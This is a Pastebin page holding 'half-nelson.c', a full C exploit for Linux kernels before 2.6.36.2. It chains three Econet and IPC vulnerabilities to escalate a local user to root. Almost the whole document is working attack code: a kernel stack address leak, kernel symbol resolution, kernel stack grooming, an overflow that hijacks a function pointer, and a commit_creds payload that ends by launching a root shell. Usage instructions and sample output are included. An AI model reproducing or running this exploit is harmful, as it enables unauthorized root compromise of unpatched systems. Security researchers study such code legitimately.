Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * half-nelson.c
- *
- * Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit
- * Jon Oberheide <jon@oberheide.org>
- * http://jon.oberheide.org
- *
- * Information:
- *
- * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848
- *
- * Stack-based buffer overflow in the econet_sendmsg function in
- * net/econet/af_econet.c in the Linux kernel before 2.6.36.2, when an
- * econet address is configured, allows local users to gain privileges by
- * providing a large number of iovec structures.
- *
- * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3850
- *
- * The ec_dev_ioctl function in net/econet/af_econet.c in the Linux kernel
- * before 2.6.36.2 does not require the CAP_NET_ADMIN capability, which
- * allows local users to bypass intended access restrictions and configure
- * econet addresses via an SIOCSIFADDR ioctl call.
- *
- * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4073
- *
- * The ipc subsystem in the Linux kernel before 2.6.37-rc1 does not
- * initialize certain structures, which allows local users to obtain
- * potentially sensitive information from kernel stack memory.
- *
- * Usage:
- *
- * $ gcc half-nelson.c -o half-nelson -lrt
- * $ ./half-nelson
- * [+] looking for symbols...
- * [+] resolved symbol commit_creds to 0xffffffff81088ad0
- * [+] resolved symbol prepare_kernel_cred to 0xffffffff81088eb0
- * [+] resolved symbol ia32_sysret to 0xffffffff81046692
- * [+] spawning children to achieve adjacent kstacks...
- * [+] found parent kstack at 0xffff88001c6ca000
- * [+] found adjacent children kstacks at 0xffff88000d10a000 and 0xffff88000d10c000
- * [+] lower child spawning a helper...
- * [+] lower child calling compat_sys_wait4 on helper...
- * [+] helper going to sleep...
- * [+] upper child triggering stack overflow...
- * [+] helper woke up
- * [+] lower child returned from compat_sys_wait4
- * [+] parent's restart_block has been clobbered
- * [+] escalating privileges...
- * [+] launching root shell!
- * # id
- * uid=0(root) gid=0(root)
- *
- * Notes:
- *
- * This exploit leverages three vulnerabilities to escalate privileges.
- * The primary vulnerability is a kernel stack overflow, not a stack buffer
- * overflow as the CVE description incorrectly states. I believe this is the
- * first public exploit for a kernel stack overflow, and it turns out to be
- * a bit tricky due to some particulars of the econet vulnerability. A full
- * breakdown of the exploit is forthcoming.
- *
- * Tested on Ubuntu 10.04 LTS (2.6.32-21-generic).
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <stdint.h>
- #include <stddef.h>
- #include <string.h>
- #include <unistd.h>
- #include <errno.h>
- #include <fcntl.h>
- #include <limits.h>
- #include <syscall.h>
- #include <inttypes.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <sys/wait.h>
- #include <sys/ioctl.h>
- #include <sys/mman.h>
- #include <sys/ipc.h>
- #include <sys/sem.h>
- #include <sys/stat.h>
- #include <sys/mman.h>
- #include <sys/resource.h>
- #include <sys/syscall.h>
- #include <sys/utsname.h>
- #include <netinet/in.h>
- #include <net/if.h>
- #define IOVS 446
- #define NPROC 1024
- #define KSTACK_SIZE 8192
- #define KSTACK_UNINIT 0
- #define KSTACK_UPPER 1
- #define KSTACK_LOWER 2
- #define KSTACK_DIE 3
- #define KSTACK_PARENT 4
- #define KSTACK_CLOBBER 5
- #define LEAK_BASE 0xffff880000000000
- #define LEAK_TOP 0xffff8800c0000000
- #define LEAK_DEPTH 500
- #define LEAK_OFFSET 32
- #define NR_IPC 0x75
- #define NR_WAIT4 0x72
- #define SEMCTL 0x3
- #ifndef PF_ECONET
- #define PF_ECONET 19
- #endif
- #define STACK_OFFSET 6
- #define RESTART_OFFSET 40
- struct ec_addr {
- unsigned char station;
- unsigned char net;
- };
- struct sockaddr_ec {
- unsigned short sec_family;
- unsigned char port;
- unsigned char cb;
- unsigned char type;
- struct ec_addr addr;
- unsigned long cookie;
- };
- struct ipc64_perm {
- uint32_t key;
- uint32_t uid;
- uint32_t gid;
- uint32_t cuid;
- uint32_t cgid;
- uint32_t mode;
- uint16_t seq;
- uint16_t __pad2;
- unsigned long __unused1;
- unsigned long __unused2;
- };
- struct semid64_ds {
- struct ipc64_perm sem_perm;
- unsigned long sem_otime;
- unsigned long __unused1;
- unsigned long sem_ctime;
- unsigned long __unused;
- unsigned long sem_nsems;
- unsigned long __unused3;
- unsigned long __unused4;
- };
- union semun {
- int val;
- struct semid_ds *buf;
- unsigned short *array;
- struct seminfo *__buf;
- };
- struct region {
- unsigned long parent;
- unsigned long addrs[NPROC];
- };
- struct region *region;
- typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
- typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
- _commit_creds commit_creds;
- _prepare_kernel_cred prepare_kernel_cred;
- unsigned long ia32_sysret;
- void __attribute__((regparm(3)))
- kernel_code(void)
- {
- commit_creds(prepare_kernel_cred(0));
- }
- void
- payload_parent(void)
- {
- asm volatile (
- "mov $kernel_code, %rax\n"
- "call *%rax\n"
- );
- }
- void
- payload_child(void)
- {
- asm volatile (
- "movq $payload_parent, (%0)\n"
- "jmpq *%1\n"
- :
- : "r"(region->parent + RESTART_OFFSET), "r"(ia32_sysret)
- );
- }
- unsigned long
- get_kstack(void)
- {
- int i, size, offset;
- union semun *arg;
- struct semid_ds dummy;
- struct semid64_ds *leaked;
- char *stack_start, *stack_end;
- unsigned char *p;
- unsigned long kstack, *ptr;
- /* make sure our argument is 32-bit accessible */
- arg = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
- if (arg == MAP_FAILED) {
- printf("[-] failure mapping memory, aborting!\n");
- exit(1);
- }
- /* map a fake stack to use during syscall */
- stack_start = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
- if (stack_start == MAP_FAILED) {
- printf("[-] failure mapping memory, aborting!\n");
- exit(1);
- }
- stack_end = stack_start + 4096;
- memset(arg, 0, sizeof(union semun));
- memset(&dummy, 0, sizeof(struct semid_ds));
- arg->buf = &dummy;
- /* syscall(NR_IPC, SEMCTL, 0, 0, IPC_SET, arg) */
- asm volatile (
- "push %%rax\n"
- "push %%rbx\n"
- "push %%rcx\n"
- "push %%rdx\n"
- "push %%rsi\n"
- "push %%rdi\n"
- "movl %0, %%eax\n"
- "movl %1, %%ebx\n"
- "movl %2, %%ecx\n"
- "movl %3, %%edx\n"
- "movl %4, %%esi\n"
- "movq %5, %%rdi\n"
- "movq %%rsp, %%r8\n"
- "movq %6, %%rsp\n"
- "push %%r8\n"
- "int $0x80\n"
- "pop %%r8\n"
- "movq %%r8, %%rsp\n"
- "pop %%rdi\n"
- "pop %%rsi\n"
- "pop %%rdx\n"
- "pop %%rcx\n"
- "pop %%rbx\n"
- "pop %%rax\n"
- :
- : "r"(NR_IPC), "r"(SEMCTL), "r"(0), "r"(0), "r"(IPC_SET), "r"(arg), "r"(stack_end)
- : "memory", "rax", "rbx", "rcx", "rdx", "rsi", "rdi", "r8"
- );
- /* naively extract a pointer to the kstack from the kstack */
- p = stack_end - (sizeof(unsigned long) + sizeof(struct semid64_ds)) + LEAK_OFFSET;
- kstack = *(unsigned long *) p;
- if (kstack < LEAK_BASE || kstack > LEAK_TOP) {
- printf("[-] failed to leak a suitable kstack address, try again!\n");
- exit(1);
- }
- if ((kstack % 0x1000) < (0x1000 - LEAK_DEPTH)) {
- printf("[-] failed to leak a suitable kstack address, try again!\n");
- exit(1);
- }
- kstack = kstack & ~0x1fff;
- return kstack;
- }
- unsigned long
- get_symbol(char *name)
- {
- FILE *f;
- unsigned long addr;
- char dummy;
- char sname[512];
- struct utsname ver;
- int ret;
- int rep = 0;
- int oldstyle = 0;
- f = fopen("/proc/kallsyms", "r");
- if (f == NULL) {
- f = fopen("/proc/ksyms", "r");
- if (f == NULL)
- goto fallback;
- oldstyle = 1;
- }
- repeat:
- ret = 0;
- while(ret != EOF) {
- if (!oldstyle)
- ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
- else {
- ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
- if (ret == 2) {
- char *p;
- if (strstr(sname, "_O/") || strstr(sname, "_S."))
- continue;
- p = strrchr(sname, '_');
- if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
- p = p - 4;
- while (p > (char *)sname && *(p - 1) == '_')
- p--;
- *p = '\0';
- }
- }
- }
- if (ret == 0) {
- fscanf(f, "%s\n", sname);
- continue;
- }
- if (!strcmp(name, sname)) {
- fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
- fclose(f);
- return addr;
- }
- }
- fclose(f);
- if (rep)
- return 0;
- fallback:
- /* didn't find the symbol, let's retry with the System.map
- dedicated to the pointlessness of Russell Coker's SELinux
- test machine (why does he keep upgrading the kernel if
- "all necessary security can be provided by SE Linux"?)
- */
- uname(&ver);
- if (strncmp(ver.release, "2.6", 3))
- oldstyle = 1;
- sprintf(sname, "/boot/System.map-%s", ver.release);
- f = fopen(sname, "r");
- if (f == NULL)
- return 0;
- rep = 1;
- goto repeat;
- }
- int
- get_adjacent_kstacks(void)
- {
- int i, ret, shm, pid, type;
- /* create shared communication channel between parent and its children */
- shm = shm_open("/halfnelson", O_RDWR | O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO);
- if (shm < 0) {
- printf("[-] failed creating shared memory, aborting!\n");
- exit(1);
- }
- ret = ftruncate(shm, sizeof(struct region));
- if (ret != 0) {
- printf("[-] failed resizing shared memory, aborting!\n");
- exit(1);
- }
- region = mmap(NULL, sizeof(struct region), PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0);
- memset(region, KSTACK_UNINIT, sizeof(struct region));
- /* parent kstack self-discovery */
- region->parent = get_kstack();
- printf("[+] found parent kstack at 0x%lx\n", region->parent);
- /* fork and discover children with adjacently-allocated kernel stacks */
- for (i = 0; i < NPROC; ++i) {
- pid = fork();
- if (pid > 0) {
- type = KSTACK_PARENT;
- continue;
- } else if (pid == 0) {
- /* children do kstack self-discovery */
- region->addrs[i] = get_kstack();
- /* children sleep until parent has found adjacent children */
- while (1) {
- sleep(1);
- if (region->addrs[i] == KSTACK_DIE) {
- /* parent doesn't need us :-( */
- exit(0);
- } else if (region->addrs[i] == KSTACK_UPPER) {
- /* we're the upper adjacent process */
- type = KSTACK_UPPER;
- break;
- } else if (region->addrs[i] == KSTACK_LOWER) {
- /* we're the lower adjacent process */
- type = KSTACK_LOWER;
- break;
- }
- }
- break;
- } else {
- printf("[-] fork failed, aborting!\n");
- exit(1);
- }
- }
- return type;
- }
- void
- do_parent(void)
- {
- int i, j, upper, lower;
- /* parent sleeps until we've discovered all the child kstacks */
- while (1) {
- sleep(1);
- for (i = 0; i < NPROC; ++i) {
- if (region->addrs[i] == KSTACK_UNINIT) {
- break;
- }
- }
- if (i == NPROC) {
- break;
- }
- }
- /* figure out if we have any adjacent child kstacks */
- for (i = 0; i < NPROC; ++i) {
- for (j = 0; j < NPROC; ++j) {
- if (region->addrs[i] == region->addrs[j] + KSTACK_SIZE) {
- break;
- }
- }
- if (j != NPROC) {
- break;
- }
- }
- if (i == NPROC && j == NPROC) {
- printf("[-] failed to find adjacent kstacks, try again!\n");
- exit(1);
- }
- upper = i;
- lower = j;
- printf("[+] found adjacent children kstacks at 0x%lx and 0x%lx\n", region->addrs[lower], region->addrs[upper]);
- /* signal to non-adjacent children to die */
- for (i = 0; i < NPROC; ++i) {
- if (i != upper && i != lower) {
- region->addrs[i] = KSTACK_DIE;
- }
- }
- /* signal adjacent children to continue on */
- region->addrs[upper] = KSTACK_UPPER;
- region->addrs[lower] = KSTACK_LOWER;
- /* parent sleeps until child has clobbered the fptr */
- while (1) {
- sleep(1);
- if (region->parent == KSTACK_CLOBBER) {
- break;
- }
- }
- printf("[+] escalating privileges...\n");
- /* trigger our clobbered fptr */
- syscall(__NR_restart_syscall);
- /* our privileges should be escalated now */
- if (getuid() != 0) {
- printf("[-] privilege escalation failed, aborting!\n");
- exit(1);
- }
- printf("[+] launching root shell!\n");
- execl("/bin/sh", "/bin/sh", NULL);
- }
- void
- do_child_upper(void)
- {
- int i, ret, eco_sock;
- struct sockaddr_ec eco_addr;
- struct msghdr eco_msg;
- struct iovec iovs[IOVS];
- struct ifreq ifr;
- char *target;
- /* calculate payload target, skip prologue */
- target = (char *) payload_child;
- target += 4;
- /* give lower child a chance to enter its wait4 call */
- sleep(1);
- /* write some zeros */
- for (i = 0; i < STACK_OFFSET; ++i) {
- iovs[i].iov_base = (void *) 0x0;
- iovs[i].iov_len = 0;
- }
- /* overwrite saved ia32_sysret address on stack */
- iovs[STACK_OFFSET].iov_base = (void *) target;
- iovs[STACK_OFFSET].iov_len = 0x0246;
- /* force abort via EFAULT */
- for (i = STACK_OFFSET + 1; i < IOVS; ++i) {
- iovs[i].iov_base = (void *) 0xffffffff00000000;
- iovs[i].iov_len = 0;
- }
- /* create econet socket */
- eco_sock = socket(PF_ECONET, SOCK_DGRAM, 0);
- if (eco_sock < 0) {
- printf("[-] failed creating econet socket, aborting!\n");
- exit(1);
- }
- memset(&ifr, 0, sizeof(ifr));
- strcpy(ifr.ifr_name, "lo");
- /* trick econet into associated with the loopback */
- ret = ioctl(eco_sock, SIOCSIFADDR, &ifr);
- if (ret != 0) {
- printf("[-] failed setting interface address, aborting!\n");
- exit(1);
- }
- memset(&eco_addr, 0, sizeof(eco_addr));
- memset(&eco_msg, 0, sizeof(eco_msg));
- eco_msg.msg_name = &eco_addr;
- eco_msg.msg_namelen = sizeof(eco_addr);
- eco_msg.msg_flags = 0;
- eco_msg.msg_iov = &iovs[0];
- eco_msg.msg_iovlen = IOVS;
- printf("[+] upper child triggering stack overflow...\n");
- /* trigger the kstack overflow into lower child's kstack */
- ret = sendmsg(eco_sock, &eco_msg, 0);
- if (ret != -1 || errno != EFAULT) {
- printf("[-] sendmsg succeeded unexpectedly, aborting!\n");
- exit(1);
- }
- close(eco_sock);
- }
- void
- do_child_lower(void)
- {
- int pid;
- printf("[+] lower child spawning a helper...\n");
- /* fork off a helper to wait4 on */
- pid = fork();
- if (pid == 0) {
- printf("[+] helper going to sleep...\n");
- sleep(5);
- printf("[+] helper woke up\n");
- exit(1);
- }
- printf("[+] lower child calling compat_sys_wait4 on helper...\n");
- /* syscall(NR_WAIT4, pid, 0, 0, 0) */
- asm volatile (
- "push %%rax\n"
- "push %%rbx\n"
- "push %%rcx\n"
- "push %%rdx\n"
- "push %%rsi\n"
- "movl %0, %%eax\n"
- "movl %1, %%ebx\n"
- "movl %2, %%ecx\n"
- "movl %3, %%edx\n"
- "movl %4, %%esi\n"
- "int $0x80\n"
- "pop %%rsi\n"
- "pop %%rdx\n"
- "pop %%rcx\n"
- "pop %%rbx\n"
- "pop %%rax\n"
- :
- : "r"(NR_WAIT4), "r"(pid), "r"(0), "r"(0), "r"(0)
- : "memory", "rax", "rbx", "rcx", "rdx", "rsi"
- );
- printf("[+] lower child returned from compat_sys_wait4\n");
- printf("[+] parent's restart_block has been clobbered\n");
- /* signal parent that our fptr should now be clobbered */
- region->parent = KSTACK_CLOBBER;
- }
- int
- main(int argc, char **argv)
- {
- int type;
- if (sizeof(unsigned long) != 8) {
- printf("[-] x86_64 only, sorry!\n");
- exit(1);
- }
- printf("[+] looking for symbols...\n");
- commit_creds = (_commit_creds) get_symbol("commit_creds");
- if (!commit_creds) {
- printf("[-] symbol table not available, aborting!\n");
- exit(1);
- }
- prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
- if (!prepare_kernel_cred) {
- printf("[-] symbol table not available, aborting!\n");
- exit(1);
- }
- ia32_sysret = get_symbol("ia32_sysret");
- if (!ia32_sysret) {
- printf("[-] symbol table not available, aborting!\n");
- exit(1);
- }
- printf("[+] spawning children to achieve adjacent kstacks...\n");
- type = get_adjacent_kstacks();
- if (type == KSTACK_PARENT) {
- do_parent();
- } else if (type == KSTACK_UPPER) {
- do_child_upper();
- } else if (type == KSTACK_LOWER) {
- do_child_lower();
- }
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement